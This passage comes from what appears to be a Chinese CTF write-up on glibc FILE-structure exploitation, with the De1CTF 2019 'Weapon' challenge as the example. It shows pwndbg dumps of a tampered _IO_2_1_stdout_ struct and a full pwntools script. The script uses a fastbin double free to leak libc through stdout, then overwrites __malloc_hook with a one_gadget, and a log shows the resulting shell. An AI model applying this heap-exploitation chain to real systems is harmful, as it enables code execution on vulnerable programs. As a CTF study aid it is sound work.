0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x7ffff7dd25dd (_IO_2_1_stderr_+157) ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

修改后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p /x _IO_2_1_stdout_
$4 = {
file = {
_flags = 0xfbad1800,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x7ffff7dd2600,
_IO_write_ptr = 0x7ffff7dd26a3,
_IO_write_end = 0x7ffff7dd26a3,
_IO_buf_base = 0x7ffff7dd26a3,
_IO_buf_end = 0x7ffff7dd26a4,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0xa},
_lock = 0x7ffff7dd3780,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffff7dd06e0
}

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#-*- coding: utf-8 -*-

from pwn import *
context.log_level = 'debug'
host, port = "192.168.37.140", "9999"
filename = "./pwn"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc

else:
libc = ELF('./libc.so')

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']



def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)


def debug(bp):
script = ""
PIE = get_PIE(p)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
#script += "b * 0x%x\n"%(LIBC+)
gdb.attach(p,gdbscript=script)

def cmd(c):
p.sendlineafter(">> \n",str(c))
def Cmd(c):
p.sendlineafter(">> ",str(c))
def create(idx,size,name="padding"):
cmd(1)
p.sendlineafter(": ",str(size))
p.sendlineafter(": ",str(idx))
p.sendafter(":\n",name)
def delete(idx):
cmd(2)
p.sendlineafter(":",str(idx))
def edit(idx,name):
cmd(3)
p.sendlineafter(": ",str(idx))
p.sendafter(":\n",name)
def Add(idx,size,name="padding"):
Cmd(1)
p.sendlineafter(": ",str(size))
p.sendlineafter(": ",str(idx))
p.sendafter(":",name)
def Free(idx):
Cmd(2)
p.sendlineafter(":",str(idx))

p=getConn()

create(0,0x60,"a")
create(1,0x60,"b")
create(2,0x60,"c")
delete(0)
delete(1)
p.recvuntil(">> ")
p.sendline("1"*0x1000)

create(3,0x60,"\xdd\x25")
create(4,0x60,"e")
delete(2)
delete(1)
edit(1,"\x00")
create(5,0x60,"f")
create(6,0x60,"f")
file_struct = p64(0xfbad1800)+p64(0)*3+"\x00"
create(7,0x60,"\x00"*0x33+file_struct)

leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success('leak=%s'% hex(leak))
libc_addr=leak-0x3c5600

#libc_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-libc.symbols["_IO_2_1_stdout_"]-131
print hex(libc_addr)
Add(0,0x60)
Add(1,0x60)
Add(2,0x18)
Free(0)
Free(1)
Free(0)
fake=libc_addr+libc.sym["__malloc_hook"]-0x23

Add(1,0x60,p64(fake))
Add(1,0x60,'bbbb')




Add(8,0x60,"t")
debug([0xa50])
Add(9,0x60,"a"*0x13+p64(libc_addr+0xf1147))

p.recvuntil(">> ")
p.sendline(str(1))
p.recvuntil("weapon: ")
p.sendline(str(0x60))
p.recvuntil("index: ")
p.sendline(str(6))

p.interactive()

getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    'wlecome input your size of weapon: '
[DEBUG] Sent 0x3 bytes:
'96\n'
[DEBUG] Received 0xd bytes:
'input index: '
[DEBUG] Sent 0x2 bytes:
'6\n'
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x5 bytes:
'jcxp\n'
jcxp
$
CATALOG
  1. 1. 前言
  2. 2. FILE 介绍
  3. 3. 利用过程
  4. 4. 实例
    1. 4.1. Warmup(Nu1lctf2019)
      1. 4.1.1. 思路
      2. 4.1.2. 漏洞点
      3. 4.1.3. 具体利用
      4. 4.1.4. 比赛环境
      5. 4.1.5. 完整脚本
      6. 4.1.6. getshell
    2. 4.2. Weapon(De1CTF 2019)
      1. 4.2.1. 漏洞分析
      2. 4.2.2. 利用思路
      3. 4.2.3. 利用流程
      4. 4.2.4. 完整脚本
      5. 4.2.5. getshell